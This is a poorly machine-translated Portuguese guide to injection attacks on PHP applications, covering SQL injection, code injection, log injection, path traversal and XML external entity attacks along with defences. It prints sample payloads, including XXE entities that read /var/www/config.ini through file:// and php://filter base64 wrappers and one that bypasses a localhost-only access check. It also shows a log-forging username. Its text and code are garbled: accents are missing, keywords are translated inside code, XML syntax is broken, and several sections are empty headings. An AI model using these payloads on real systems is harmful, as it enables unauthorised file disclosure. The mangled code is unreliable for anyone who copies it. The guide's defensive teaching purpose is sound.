Docs Ataques de injeo

Ataques de injeo
A OWASP Top 10 listas Injection e Cross-Site Scripting (XSS) como os riscos mais
comuns de segurana para aplicaes web. Na verdade, eles andam de mos dadas
porque os ataques XSS so contingentes em um ataque de injeo de sucesso. Embora
esta seja a parceria mais bvia, Injeo no se limita apenas a permitir XSS.
A injeo toda uma classe de ataques que dependem de injetar dados em uma aplicao
web, a fim de facilitar a execuo ou interpretao de dados maliciosos de uma forma
inesperada. Exemplos de ataques dentro desta classe incluem Cross-Site Scripting (XSS),
SQL Injection, injeo de cabealho, Log Injeo e Path Full Disclosure. Eu estou
arranhando a superfcie aqui.
Esta classe de ataques bicho-papo de cada programador. Eles so os ataques mais
comuns e bem sucedidos na internet devido a seus inmeros tipos, a superfcie de ataque
grande, e s vezes a complexidade necessria para proteger contra eles. Todas as
aplicaes precisam de dados de algum lugar, a fim de funcionar. Cross-Site Scripting e UI
tutela so, em particular, to comum que dediquei o prximo captulo a eles e estes so
geralmente classificados separadamente dos ataques de injeo de sua prpria classe
dada a sua importncia.
OWASP usa a seguinte definio para ataques de injeo:
Falhas na injeo, tais como SQL, OS, e injeo LDAP, ocorrem quando os dados no
confivel enviado para um intrprete como parte de um comando ou consulta. Dados
hostis do atacante pode enganar o interpretador para executar comandos no
intencionais ou aceder a dados no autorizados.

SQL Injection
De longe a forma mais comum de ataque de injeo o infame ataque SQL Injection.
Injees de SQL no so apenas extremamente comum, mas tambm muito mortal. Eu
no posso enfatizar o suficiente a importncia de compreender este ataque, as condies
em que pode ser realizado com sucesso e os passos necessrios para se defender contra
ele.

Injees SQL operar atravs da injeo de dados em um appplication web que ento
utilizado em consultas SQL. Os dados geralmente vem de entrada no confivel, como
um formulrio web. No entanto, tambm possvel que os dados vm de outra fonte,
incluindo o prprio banco de dados. Os programadores muitas vezes confiar em dados de
seu prprio banco de dados acreditando ser completamente seguro, sem perceber que
ser seguro para uma utilizao particular no significa que ele seguro para todos os
outros usos posteriores. Os dados de um banco de dados deve ser tratado como no
confivel, a menos que se prove o contrrio, por exemplo, atravs de processos de
validao.
Se for bem sucedido, uma injeo SQL pode manipular a consulta SQL a ser alvo de
realizar uma operao de banco de dados no destinados pelo programador.
Considere a seguinte consulta:

$ Db = new mysqli ( "localhost ' , 'username' , 'password' , 'storedb' );

$ result = $ db -> query (
'SELECT * FROM transaes ONDE user_id =' . $ _ POST [ 'user_id' ]
);

O texto acima tem uma srie de coisas erradas com ele. Primeiro de tudo, ns no
validaram o contedo dos dados POST para garantir que ele um user_id vlido. Em
segundo lugar, estamos a permitir que uma fonte no confivel para ns que user_id usar
dizer - um invasor pode definir qualquer vlido user_id eles queriam. Talvez o user_id
estava contido em um campo oculto forma que acreditvamos seguro porque o
formulrio web no iria deix-lo ser editado (esquecendo-se que os atacantes podem
enviar qualquer coisa). Em terceiro lugar, ns no escaparam a user_id ou passou para a
consulta como um parmetro de limite que tambm permite que o invasor injetar cordas
arbitrrias que podem manipular a consulta SQL dado que no conseguiram valid-lo em
primeiro lugar.
O acima de trs falhas so muito comuns em aplicaes web.
Como a confiar dados do banco de dados, imagine que temos procurado por transaes
utilizando um campo user_name. Os nomes so razoavelmente amplo em escopo e
podem incluir citaes. concebvel que um invasor pode armazenar uma seqncia de
injeo SQL dentro de um nome de usurio. Quando reutilizar essa string em uma
consulta posterior, seria ento manipular a string de consulta, se considerado o banco de
dados de uma fonte confivel de dados e no conseguiu escapar corretamente ou
vincul-lo.

Outro fator de SQL Injection para prestar ateno que o armazenamento persistente
no precisa sempre ocorre no servidor. HTML5 suporta o uso de bancos de dados do
lado do cliente, que pode ser consultado por meio do SQL com a assistncia de
Javascript. H duas APIs que facilitam este: WebSQL e IndexedDB. WebSQL foi
preterido pelo W3C em 2010 e suportado pelos navegadores WebKit usando SQLite
no backend. suporte no WebKit provavelmente continuar para fins de
compatibilidade com verses anteriores, embora j no recomendado para uso. Como o
prprio nome sugere, ele aceita consultas SQL um pode, portanto, ser suscetveis a
ataques de injeo SQL. IndexedDB a alternativa mais recente, mas um banco de
dados NoSQL (ou seja, no requer o uso de consultas SQL).

Injeo SQL Exemplos

A tentativa de manipular consultas SQL pode ter objetivos, incluindo:
1. Vazamento de Informaes
2. Divulgao de dados armazenados
3. A manipulao de dados armazenados
4. Ignorando controles de autorizao
5. Do lado do cliente SQL Injection

Vazamento de Informaes
Divulgao de dados armazenados
Manipulao de dados armazenados
Ignorando Controles de autorizao

Defesas contra SQL Injection

Defesa contra um ataque SQL Injection aplica o princpio de defesa total. Ele deve ser
validada para garantir que ele est na forma correta esperamos antes de us-lo em uma
consulta SQL e deve ser escapado antes de inclu-lo na consulta ou incluindo-o como um
parmetro de limite.

Validao
Captulo 2 cobriu validao de entrada e, como eu, em seguida, observou, devemos
assumir que todos os dados que no sejam criados explicitamente no cdigo fonte do
PHP do atual solicitao deve ser considerado no confivel. Valid-lo rigorosamente e

rejeitar todos os dados falhando. No tente "consertar" os dados, a menos que fazendo
pequenas alteraes cosmticas para o seu formato.
Erros de validao comuns podem incluir a validao dos dados para a sua utilizao em
curso (por exemplo, para fins de clculo de exibio ou) e no representando as
necessidades de validao dos campos de tabela de banco de dados que os dados sero
eventualmente armazenados para.

Escapando
Usando a extenso mysqli, voc pode escapar todos os dados que esto sendo includos
em uma consulta SQL usando a funo mysqli_real_escape_string (). A extenso pgsql
para PostgresSQL oferece a pg_escape_bytea (), pg_escape_identifier (), pg_escape_literal
() e pg_escape_string () funes. A mssql (Microsoft SQL Server) no oferece funes de
escape e os addslashes comumente aconselhados () abordagem insuficiente - voc
realmente precisa de uma funo personalizada [
http://stackoverflow.com/questions/574805/how-to-escape-strings-in -mssql-usandophp ].
S para lhe dar ainda mais de uma dor de cabea, voc nunca pode deixar de escapar de
dados que entram uma consulta SQL. Um deslize, e possivelmente ser vulnervel a SQL
Injection.
Pelas razes acima expostas, Fugir no realmente recomendado. Ele vai fazer em uma
pitada e pode ser necessrio se uma biblioteca de banco de dados que voc usa para
abstrao permite a configurao de nu consultas SQL ou partes de consulta sem impor
parmetro obrigatrio. Caso contrrio, voc deve apenas evitar a necessidade de escapar
completamente. confuso, propenso a erros e difere por extenso de banco de dados.

Consultas parametrizadas (Instrues Preparadas)

Parametrizao ou Parmetro de ligao a maneira recomendada para a construo de
consultas SQL e todas as bibliotecas de banco de dados bons usar isso por padro. Aqui
est um exemplo usando extenso PDO do PHP.

if ( ctype_digit ( $_POST [ 'id' ]) && is_int ( $_POST [ 'id' ])) {

$validatedId = $_POST [ 'id' ];
$pdo = new PDO ( 'mysql:store.db' );
$stmt = $pdo -> prepare ( 'SELECT * FROM transaes ONDE user_id =: id ' );
$ stmt -> bindParam ( ': id' , $ validatedId , PDO :: PARAM_INT );
$ stmt -> execute ();
} mais {
// rejeitar valor id e relatrio de erro para o usurio
}

O mtodo bindParam () disponvel para declaraes DOP permite associar parmetros

para os espaos reservados presentes na declarao preparada e aceita um parmetro de
tipo de dados bsica, como PDO :: PARAM_INT, PDO :: PARAM_BOOL, PDO ::
PARAM_LOB e PDO :: PARAM_STR. Esse padro para PDO :: PARAM_STR se no for
dado ento lembre-se que para outros valores!
Ao contrrio de escape manual de ligao desta forma (ou qualquer outro mtodo
utilizado pela sua biblioteca de banco de dados) parmetro ir escapar corretamente os
dados que so vinculados automaticamente, assim voc no precisa se lembrar que
funo escapar de usar. Usando ligao consistentemente parmetro tambm muito
mais confivel do que lembrar de escapar manualmente tudo.

Impor menos Princpio Privilege

Colocar as quebras em uma injeo de SQL bem sucedida to importante como impedila de ocorrendo em primeiro lugar. Uma vez que um atacante ganha a habilidade de
executar consultas SQL, eles vo estar fazendo isso como um usurio de banco de dados
especfico. O princpio do menor privilgio pode ser imposta ao assegurar que todos os
usurios do banco de dados so dadas somente os privilgios que so absolutamente
necessrias para eles, a fim de concluir suas tarefas pretendidas.
Se um usurio de banco de dados tem privilgios significativos, um invasor pode ser
capaz de soltar tabelas e manipular os privilgios de outros usurios em que o atacante
pode executar outras injees de SQL. Voc nunca deve acessar o banco de dados a
partir de uma aplicao web como a raiz ou qualquer outro usurio altamente
privilegiado ou administrador de nvel de modo a assegurar que isso nunca pode
acontecer.
Outra variante do princpio de menos privilgios separar os papis de ler e gravar dados
para um banco de dados. Voc teria um usurio com privilgios suficientes para realizar
gravaes e outro usurio separada restrita a um papel de somente leitura. Este grau de
separao de tarefas garante que, se uma injeo SQL tem como alvo um utilizador s de

leitura, o atacante no pode escrever ou manipular os dados da tabela. Esta forma de

compartimentao pode ser estendido para limitar o acesso ainda mais e assim minimizar
o impacto de ataques bem-sucedidos de SQL Injection.
Muitas aplicaes web, em especial aplicaes de cdigo aberto, so projetados
especificamente para usar um nico usurio de banco de dados e que o usurio quase
certamente nunca verificado para ver se eles so altamente privilegiado que seja. Tenha
isso em mente e no ser tentado para executar tais aplicaes sob um usurio
administrativo.

Injeo de Cdigo (Incluso de arquivo remoto

tambm)
Cdigo de injeco refere-se a qualquer meio que permite a um invasor injetar cdigo
fonte em uma aplicao web de tal forma que interpretado e executado. Isto no se
aplica ao cdigo injetado em um cliente do aplicativo, por exemplo, Javascript, que em
vez cai sob o domnio de Cross-Site Scripting (XSS).
O cdigo-fonte pode ser injetado diretamente de uma entrada no confivel ou o
aplicativo da Web pode ser manipulado para carreg-lo a partir do sistema de arquivos
local ou a partir de uma fonte externa tal URL. Quando uma injeo de cdigo ocorre
como resultado de incluindo um recurso externo comumente referido como uma
incluso remota de arquivos embora em si um ataque RFI precisa sempre ter a inteno
de injetar cdigo.
As principais causas de Cdigo de injeco so falhas entrada de validao, a incluso de
entrada no confivel em qualquer contexto onde a entrada pode ser avaliada como
cdigo PHP, falhas para proteger repositrios de cdigo-fonte, falhas de cautela no
download de bibliotecas de terceiros, e erros de configurao de servidor que permitem
que arquivos no-PHP para serem passados
para o interpretador de PHP pelo servidor
web. Particular ateno deve ser dada para o ponto final como isso significa que todos os
arquivos carregados para o servidor por usurios no confiveis
podem representar um
risco significativo.

Exemplos de Cdigo de injeco

PHP bem conhecida por permitir que uma infinidade de alvos de injeo de cdigo,
garantindo que Cdigo de injeco permanece alta na lista de observao de qualquer
programador.

Incluso de arquivo

O alvo mais bvio para um ataque de injeo de cdigo so o include (), include_once (),
require () e require_once () funes. Se a entrada no confivel permitido para
determinar o parmetro de caminho passado para essas funes possvel influenciar
qual arquivo local ser includo. Deve notar-se que o ficheiro no necessita de ser
includo um ficheiro real PHP; qualquer arquivo includo que capaz de transportar
dados textuais (por exemplo, quase nada) permitido.
O parmetro de caminho tambm pode ser vulnervel a uma passagem de diretrio ou
incluso remota de arquivos. Usando a seqncia de ../ .. ou (ponto-ponto-slash) em um
caminho permite que um atacante para navegar para quase qualquer arquivo acessvel
para o processo PHP. As funes acima tambm aceitar um URL na configurao padro
do PHP, a menos que XXX desativado.

Avaliao
Funo do PHP eval () aceita uma string de cdigo PHP para ser executado.

Expresso Regular Injeo

A funo funo preg_replace PCRE () em PHP permite um "e" modificador
(PREG_REPLACE_EVAL) que significa que o texto de substituio ser avaliada como
PHP aps subsitution. Entrada no confivel usado no texto de substituio, portanto,
poderia injetar cdigo PHP para ser executado.

Arquivo falho Incluso Logic

Aplicaes web, por definio, vai incluir vrios arquivos necessrios para atender
qualquer pedido. Ao manipular o caminho do pedido, ou seus parmetros, pode ser
possvel provocar o servidor de ficheiros, incluindo em locais no desejadas,
aproveitando lgica falha no seu encaminhamento, dependncia gesto, carregamento
automtico ou outros processos.
Tais manipulaes fora do que a aplicao Web foi projetado para lidar com pode ter
efeitos imprevistos. Por exemplo, um aplicativo pode inadvertidamente expor rotas
destinados apenas para uso em linha de comando. O aplicativo tambm pode expor
outras classes cujos construtores realizar tarefas (no um mtodo recomendado para
projetar aulas, mas isso acontece). Qualquer um desses cenrios poderiam interferir com
as operaes de back-end do aplicativo levando a manipulao de dados ou um potencial
de negao de servio (DoS) ataques a operaes intensivas de recursos no se destinam
a ser directamente acessveis.

Misconfiguration servidor

Objetivos do Cdigo de injeco

O objetivo de uma injeo de cdigo extremamente amplo, uma vez que permite a
execuo de qualquer cdigo PHP da escolha do atacante.

Defesas contra Cdigo de injeco

Injeo de Comandos
Exemplos de Injeco de comando
Defesas contra injeo de comandos

Log Injection (injeo tambm Log Arquivo)

Muitas aplicaes manter uma srie de registros que muitas vezes so exibvel para
usurios autorizados a partir de uma interface HTML. Como resultado, eles so um alvo
privilegiado para os atacantes que desejam disfarar outros ataques, enganar usurios de
log, ou at mesmo montar um ataque subsequente sobre os usurios do aplicativo de
monitoramento usado para ler e analisar os logs.
A vulnerabilidade dos registros depende dos controlos institudos sobre a escrita de
toras e garantindo que os dados de registro tratado como uma fonte no confivel de
dados quando se trata de realizar qualquer acompanhamento ou anlise das entradas de
registo.
Um sistema de registro simples pode escrever linhas de texto em um arquivo usando
file_put_contents (). Por exemplo, um programador pode log falhou tentativas de login
usando uma seqncia de caracteres do seguinte formato:

sprintf ( "Falha tentativa de login por% s" , $ username );

E se o atacante usou um nome de usurio do formulrio de "login AdminnSuccessful por

Adminn"?
Se essa seqncia de caracteres, a partir da entrada no confivel foram inseridos no log
o atacante teria disfarado com sucesso a sua tentativa de login no como um fracasso
por inocente o usurio Admin para acessar. Adicionando uma tentativa de repetio
bem-sucedida faz com que os dados ainda menos suspeito.

Claro, o ponto aqui que um invasor pode anexar todos os tipos de entradas de log. Eles
tambm podem injetar vetores XSS, e at mesmo injectar caracteres para mexer com a
exibio das entradas de log em um console.

Gols de Log Injeo

Injeo pode tambm alvo intrpretes formato log. Se uma ferramenta de anlise usa
expresses regulares para analisar uma entrada de registo para dividi-lo em campos de
dados, uma seqncia pode ser injetada cuidadosamente construda para assegurar a
regex corresponde a um campo de supervit injetado em vez do campo correto. Por
exemplo, a seguinte entrada pode representar alguns problemas:

$ Username = "iamnothacker em Mon 01 de janeiro 00:00:00 +1000 2009!" ;

sprintf ( "Falha de incio de sesso tentativa de $ s em $ s " , $ username , )

Ataques mais nefastas usando Log Injeo pode tentar construir em um ataque de
passagem de diretrio para exibir um registro em um navegador. Nas circunstncias
certas, injetando cdigo PHP em uma mensagem de log e de chamada para o arquivo de
log no navegador pode levar a uma forma bem sucedida de Cdigo de injeco que pode
ser cuidadosamente formatados e executados pela vontade do atacante. Disse o
suficiente l. Se um invasor pode executar PHP no servidor, game over e tempo para
espero que voc tenha suficiente Defesa em profundidade para minimizar os danos.

Defesas contra Log Injeo

A defesa mais simples contra Entrar Injees para higienizar todas as mensagens de log
de sada usando uma whitelist caracteres permitidos. Poderamos, por exemplo, limitar
todos os logs de caracteres alfanumricos e espaos. As mensagens detectadas fora
desta lista de caracteres pode ser interpretada como sendo corrupto levando a uma
mensagem de registro relativa a uma potencial LFI para notific-lo da tentativa potencial.
um mtodo simples para logs de texto simples onde incluindo qualquer entrada no
confivel na mensagem inevitvel.
A defesa secundrio pode ser a de codificar a poro de entrada no confivel em algo
como base64 que mantm um caracteres limitados permitiu perfil enquanto ainda
permitindo uma ampla gama de informaes a serem armazenadas em texto.

Path Traversal (tambm de passagem de diretrio)

Path Traversal (tambm de passagem de diretrio) Os ataques so tentativas de

influenciar as operaes de back-end que ler ou escrever arquivos no aplicativo web
atravs de parmetros capazes de manipular os caminhos de arquivo empregados pela
operao backend injetveis. Como tal, este ataque um trampolim para atacar com
xito o aplicativo, facilitando Divulgao de Informaes e local / remoto Injeo
Arquivo.
Ns vamos cobrir esses tipos de ataque subsequentes separadamente, mas Path
Traversal uma das vulnerabilidades de raiz que permite a todos. Enquanto as funes
descritas abaixo so especficos para o conceito de manipulao de caminhos de arquivo,
cabe ressaltar que uma grande quantidade de funes PHP no simplesmente aceitar um
caminho de arquivo, no sentido tradicional da palavra. Em vez disso, funes como
include () ou arquivo () aceita um URI em PHP. Isto parece completamente absurdo,
mas isso significa que a funo de dois a seguir chama usando caminhos de arquivos
absolutos (ou seja, no contando com carregamento automtico de caminhos de
arquivos relativos) so equivalentes.
include ('/ var / www / fornecedor / biblioteca / Class.php'); include (' file:
///var/www/vendor/library/Class.php ');
O ponto aqui que caminho relativo manipulao de lado (

include_path

configuradas

no php.ini e autoloaders disponveis), funes do PHP como este so particularmente

vulnerveis
a muitas formas de manipulao de parmetros, incluindo Arquivo Esquema
URI Substituio onde um atacante pode injetar um HTTP ou FTP se URI dados no
confivel injectado no incio de um caminho de arquivo. Ns vamos cobrir isso com mais
detalhes para ataques de incluso remota de arquivos assim, por agora, vamos nos
concentrar em traversals filesystem.
Em uma vulnerabilidade Traversal Path, o fator comum que o caminho para um arquivo
manipulado para invs ponto em um arquivo diferente. Isto comumente conseguida
atravs da injeco de uma srie de ../ (ponto-ponto-Slash) sequncias em um
argumento que anexado ou inserido todo em uma funo como
require ()

funes como

file_get_contents ()

include ()

ou at menos suspeito ( para algumas pessoas)

DOMDocument :: load ()

A sequncia ponto-ponto-de Slash permite que um atacante para informar ao sistema

para navegar ou recuar at o diretrio pai. Assim, um caminho como
/var/www/public/../vendor realmente aponta para / var / www / pblico / fornecedor .
A sequncia ponto-ponto-de Slash depois

pblicas /

Backtracks a me desse diretrio,

isto ,

/ var / www

. Como esse exemplo simples ilustra, um atacante pode usar isso para

acessar arquivos que estejam fora do

pblico /

diretrio que seja acessvel a partir do

servidor web.
Claro, travessias de caminho no so apenas para o retrocesso. Um invasor tambm
pode injetar novos elementos de caminho para acessar diretrios filho que podem ser
inacessveis a partir de um navegador, por exemplo, devido a uma
directiva de um

.htaccess

negar de todo

no diretrio filho ou um de seus pais. Operaes do sistema

de arquivos do PHP no se importam sobre como Apache ou qualquer outro servidor

web est configurado para controlar o acesso a arquivos no-pblicos e diretrios.

Exemplos de Path Traversal

Defesas contra Path Traversal

Injeo XML
Apesar do advento do JSON como um meio de comunicao de dados leves entre um
servidor e cliente, XML continua a ser uma alternativa vivel e popular que muitas
vezes apoiados em paralelo para JSON por APIs de servios web. Fora de servios da
Web, XML a base de troca de uma diversidade de dados usando esquemas XML, tais
como RSS, Atom, SOAP e RDF, para citar apenas alguns dos padres mais comuns.
XML to onipresente que ele tambm pode ser encontrado em uso no servidor de
aplicativos web, em navegadores como o formato de escolha para solicitaes e
respostas XMLHttpRequest, e em extenses do navegador. Dada a sua utilizao
generalizada, XML pode apresentar um alvo atraente para ataques de injeo XML
devido a sua popularidade eo tratamento predefinido de XML permitido por
analisadores de XML comuns, tais como libxml2, que usado pelo PHP no DOM ,
SimpleXML

XMLReader

extenses. Quando o navegador um participante ativo em uma

troca XML, deve-se considerar a XML como um formato de solicitao, onde os usurios
autenticados, atravs de um ataque Cross-Site Scripting, pode ser a apresentao de
XML que est realmente escrito por um invasor.

XML Entidade Externa Injeo

Existem vulnerabilidades a uma injeo XML Entidade Externa (XXE) porque as
bibliotecas de anlise XML, muitas vezes, suportar o uso de referncias de entidade
personalizada no XML. Voc vai estar familiarizado com o complemento do padro XML
de entidades usados
para representar caracteres de marcao especiais, tais como
& gt;

& lt;

& apos;

. XML permite expandir na entidade padro estabelecido pela

definio de entidades personalizadas dentro do prprio documento XML. Entidades

personalizadas podem ser definidas incluindo-os diretamente em um opcional DOCTYPE
eo valor ampliado eles representam pode fazer referncia a um recurso externo para ser
includo. esta capacidade de XML comum para levar referncias personalizados que
podem ser expandidos com o contedo de um recursos externos que d origem a uma
vulnerabilidade XXE. Sob circunstncias normais, as entradas no confiveis
nunca deve
ser capaz de interagir com o nosso sistema de maneiras inesperadas e XXE quase
certamente inesperado para a maioria dos programadores tornando-se uma rea de
preocupao especial.
Por exemplo, vamos definir uma nova entidade personalizada chamada "inofensivo":

<! DOCTYPE resultados [<! ENTITY inofensivo "completamente inofensivo">

]>

Um documento XML com esta definio de entidade podem agora referem-se ao &
inofensivo; entidade em qualquer lugar onde so permitidos entidades:

<? Xml version = "1.0">

<! DOCTYPE resultados [<ENTIDADE inofensivo "completamente inofensivo">! ]>
<resultados>
<result> Este resultado inofensivo e; </ result>
</ results>

Um parser XML como PHP DOM, ao interpretar este XML, ir processar esta entidade
personalizada, logo que os documentos cargas para que solicitar o texto relevante
retornar o seguinte:
Este resultado completamente inofensivo
Entidades personalizadas, obviamente, ter um benefcio em representar texto repetitivo
e XML com mais curtos entidades nomeadas. Na verdade no to incomum em que o
XML deve seguir uma gramtica particular e onde entidades personalizadas fazem edio
mais simples. No entanto, de acordo com o nosso tema de no confiar insumos externos,
precisamos ter muito cuidado quanto ao que tudo o XML nossa aplicao est
consumindo realmente at. Por exemplo, este definitivamente no da variedade
inofensiva:

<? Xml version = "1.0">

<! DOCTYPE resultados [! <entidade do sistema inofensivo "file:
///var/www/config.ini"> ]>
<resultados>
<result> & inofensivo; </ result>
< /> resultados

Dependendo do contedo do arquivo local solicitado, o contedo pode ser usado

quando a expanso do e inofensivo; entidade eo contedo expandido poderia, ento,
ser extrado do parser XML e includas na sada do aplicativo web para um atacante para
examinar, ou seja, dando origem a Divulgao de Informaes. O arquivo recuperado
ser interpretado como XML a menos que evita os caracteres especiais que
desencadeiam essa interpretao tornando assim o escopo do contedo de arquivos
local divulgao limitada. Se o arquivo for intepreted como XML, mas no contm XML
vlido, um erro ser o resultado provvel que probam a divulgao do contedo. PHP,
no entanto, tem um "truque" puro disponvel para contornar esta limitao de escopo e
solicitaes HTTP remotos podem ainda, obviamente, ter um impacto sobre a aplicao
web, mesmo que a resposta retornado no pode ser comunicada de volta para o
atacante.
PHP oferece trs mtodos freqentemente utilizados de anlise e consumir XML: PHP
DOM , SimpleXML e XMLReader . Todos os trs destes usar o libxml2 extenso e apoio
entidade externa ativado por padro. Como consequncia, PHP tem uma
vulnerabilidade-padro para XXE o que torna extremamente fcil perder quando se
considera a segurana de uma aplicao web ou uma biblioteca de consumir XML.
Voc tambm deve se lembrar que XHTML e HTML5 pode tanto ser serializado XML
como vlido o que pode significar que algumas pginas XHTML ou XML serializadoHTML5 poderia ser analisado como XML, por exemplo, usando
DOMDocument :: loadXML () em vez de DOMDocument :: loadHTML () . Tais usos de um
analisador XML tambm so vulnerveis
Entidade Externa XML Injection. Lembre-se
que libxml2 atualmente no at mesmo reconhecer o HTML5 DOCTYPE e assim no
pode valid-lo como faria para XHTML DOCTYPES.

Exemplos de XML Entidade Externa Injeo

Contedo do arquivo e divulgao de informaes
Ns j conhecemos um exemplo de Divulgao de Informaes ao notar que uma
entidade personalizada no XML poderia fazer referncia a um arquivo externo.

<? Xml version = "1.0">

<! DOCTYPE resultados [! <entidade do sistema inofensivo "file:
///var/www/config.ini"> ]>
<resultados>
<result> & inofensivo; </ result>
< /> resultados

Isto iria expandir o costume

& inofensivo;

entidade com o contedo do arquivo. Uma

vez que todos esses pedidos so feitos localmente, permite revelar o contedo de todos
os arquivos que o aplicativo tenha acesso de leitura. Isso permitiria que os atacantes para
examinar arquivos que no esto publicamente disponveis devem a entidade expandiu
ser includo na sada do aplicativo. O contedo do arquivo que pode ser divulgados neste
so significativamente limitadas - devem ser XML si ou um formato que no ir causar
anlise de XML para gerar erros. Essa restrio pode, todavia, ser completamente
ignorado em PHP:

<? Xml version = "1.0"?>

<! [resultados DOCTYPE
<entidade do sistema inofensivo!
"php: //filter/read=convert.base64-encode/resource=/var/www/config.ini"
>
]>
<Resultados>
<result> & inofensivo; </ result>
</ results>

PHP permite o acesso a um wrapper PHP na forma URI como um dos protocolos aceitos
pelas funes do sistema de arquivos comuns, como file_get_contents () , require () ,
require_once ()

file ()

copy ()

e muitos mais. O wrapper PHP suporta um

nmero de filtros que podem ser executadas em um determinado recurso para que os
resultados so retornados da chamada de funo. No caso acima, usamos o
convert.base-64-codificar

filtro no arquivo de destino que deseja ler.

O que isto significa que um atacante, atravs de uma vulnerabilidade XXE, pode ler
qualquer arquivo acessvel em PHP, independentemente do seu formato textual. Tudo o
atacante precisa fazer base64 decodificar a sada que recebem a partir da aplicao e
podem dissecar o contedo de uma grande variedade de arquivos no-pblicas com
impunidade. Enquanto isso no em si diretamente causando dano aos usurios finais
ou backend do aplicativo, ele vai permitir que os atacantes aprender muito sobre o
aplicativo que est tentando mapear o que pode permitir que estes descubram outras
vulnerabilidades com um mnimo de esforo e risco de descoberta .

Ignorando Controles de Acesso

Os controlos de acesso pode ser ditada, em qualquer nmero de maneiras. Desde os
ataques XXE so montados no back-end para um aplicativo da web, no ser possvel
usar a sesso do usurio atual para qualquer efeito, mas um atacante ainda pode ignorar
os controles de acesso backend em virtude de fazer solicitaes do servidor local.
Considere o seguinte controle de acesso primitivo:

if ( isset ( $_SERVER [ 'HTTP_CLIENT_IP' ])

|| isset ( $_SERVER [ 'HTTP_X_FORWARDED_FOR' ])
|| ! in_array ( @ $_SERVER [ 'REMOTE_ADDR' ], array (
'127.0.0.1' ,
'::1' ,
))
) {
header ( 'HTTP/1.0 403 Proibido " );
exit (
'Voc no tem permisso para acessar o arquivo'.
);
}

Este trecho de PHP e inmeros outros como ele so usados

para restringir o acesso a
determinados arquivos PHP para o servidor local, ou seja, localhost. No entanto, uma
vulnerabilidade XXE no frontend para o aplicativo na verdade, d um atacante as
credenciais exatas necessrias para contornar este controle de acesso desde todas as
solicitaes HTTP pelo analisador XML ser feita a partir de localhost.

<? Xml version = "1.0"?>

<! [resultados DOCTYPE
<entidade do sistema inofensivo!
"php: //filter/read=convert.base64-encode/resource=http:
//example.com/viewlog.php"
>
]>
<Resultados>
<result> & inofensivo; </ result>
</ results>

Se a visualizao log eram restritos a solicitaes locais, em seguida, o atacante pode ser
capaz de agarrar com xito os logs de qualquer maneira. O mesmo raciocnio se aplica a
interfaces de manuteno ou administrao, cujo acesso restrito desta forma.

Denial of Service (DoS)

Quase qualquer coisa que pode ditar a forma como os recursos do servidor so utilizados
poderia viabilizar ser usado para gerar um ataque DOS. Com XML Entidade Externa
Injection, um invasor tem acesso para fazer solicitaes HTTP arbitrrias que podem ser
utilizados para esgotar os recursos do servidor sob as condies certas.
Veja abaixo tambm para outros potenciais DOS usa de ataques XXE em termos de XML
Entidade Expanses.

Defesas contra XML Entidade Externa Injeo

Considerando os benefcios muito atraentes deste ataque, pode ser surpreendente que a
defesa extremamente simples. Desde
de

libxml2

DOM

, podemos simplesmente usar o

SimpleXML

XMLReader

todos dependem

libxml_disable_entity_loader ()

funo

para desativar a resoluo entidade externa. Isso no desativar entidades personalizadas

que so predefinidos em um

DOCTYPE

uma vez que estas no fazem uso de recursos

externos que requerem uma operao de sistema de arquivos ou solicitao HTTP.

$oldValue = libxml_disable_entity_loader ( true );

$dom = new DOMDocument ();
$dom -> loadXML ( $xml );
libxml_disable_entity_loader ( $oldValue );

Voc precisaria fazer isso para todas as operaes que envolvem XML carregamento de
uma string, arquivo ou URI remoto.
Sempre que as entidades externas nunca so exigidos pelo aplicativo ou para a maioria
dos seus pedidos, voc pode simplesmente desativar o carregamento de recursos
externos por completo em uma base mais global que, na maioria dos casos, ser muito
mais prefervel a localizao de todas as instncias de carga XML, tendo em mente muitas
bibliotecas so provavelmente escrito com inata XXE vulnerabilidades presentes:

libxml_disable_entity_loader ( verdadeiro );

Apenas lembre-se de repor este mais uma vez para

VERDADEIRO

depois de ativar qualquer

temporria de carregamento de recursos externos. Um exemplo de um processo que

exige que as entidades externas de uma forma inocente est prestando Docbook XML
para HTML, onde o estilo XSL dependente de entidades externas.

Este

libxml2

funo no , por um meio, uma bala de prata. Outras extenses e

bibliotecas PHP que analisam ou de outra forma lidar com XML ter de ser avaliada para
localizar seu "off" para a resoluo de entidade externa.
No caso em que o tipo anterior de comutao comportamento no possvel, em
alternativa, possvel verificar se um documento XML declara uma

DOCTYPE

. Se isso

acontecer, e entidades externas no so permitidos, ento voc pode simplesmente

descartar o documento XML, negando o acesso XML no confivel para um analisador
potencialmente vulnervel, e registr-lo como um provvel ataque. Se voc log ataques
este ser um passo necessrio, pois no haja outros erros ou excees para pegar a
tentativa. Esta verificao deve ser construdo em suas rotinas normais de validao de
entrada. No entanto, isso est longe de ser ideal e fortemente recomendado para
corrigir o problema entidade externa em sua fonte.

/ **
* Tentativa uma rapidinha

XML: Detectado uso de DOCTYPE ilegal '

);
}

Tambm vale a pena considerando que prefervel a simplesmente descartar dados que
suspeitamos o resultado de um ataque em vez de continuar a process-lo ainda mais.
Por que continuar a se envolver com algo que mostra todos os sinais de ser perigoso?
Portanto, a fuso das duas etapas a partir de cima tem a vantagem de ignorar dados de
forma proativa, obviamente ruins ao mesmo tempo proteger voc, no caso de descarte de
dados est alm do seu controle (por exemplo, bibliotecas 3rd-party). Descartando os
dados inteiramente se torna muito mais atraente para uma outra razo afirmado
anteriormente -

libxml_disable_entity_loader ()

no desabilita entidades

personalizadas inteiramente, apenas aqueles que referncia a recursos externos. Isso

ainda pode permitir um ataque de injeo relacionada chamada Entidade XML Expansion
que se reunir na prxima.

Entidade XML Expansion

XMl Entidade Expanso um pouco semelhante a Entidade XML Expansion mas se
concentra principalmente em permitindo uma negao de servio (DOS) ataque pela
tentativa de esgotar os recursos do ambiente de servidor do aplicativo de destino. Isto
conseguido em Entidade XML Expansion criando uma definio de entidade

personalizada no do XML

DOCTYPE

que poderia, por exemplo, gerar uma estrutura XML

muito maior na memria do que o tamanho original do XML sugeriria permitindo assim
que estes ataques para consumir recursos essenciais para manter a memria servidor
web funcionando de maneira eficiente. Este ataque tambm se aplica ao XMLserializao de HTML5 que no atualmente reconhecido como HTML pelo

libxml2

extenso.

Exemplos de Entidade XML Expansion

Existem vrias abordagens para expandir entidades mercadorias XML para alcanar o
efeito desejado de esgotar recursos do servidor.

Entidade genrico Expanso

Tambm conhecido como "Blowup quadrtica Attack", um genrico ataque expanso
entidade, uma entidade personalizada definido como um tempo extremamente longo
string. Quando a entidade utilizado vrias vezes ao longo do documento, a entidade
expandido cada vez que conduz a uma estrutura XML que requer significativamente mais
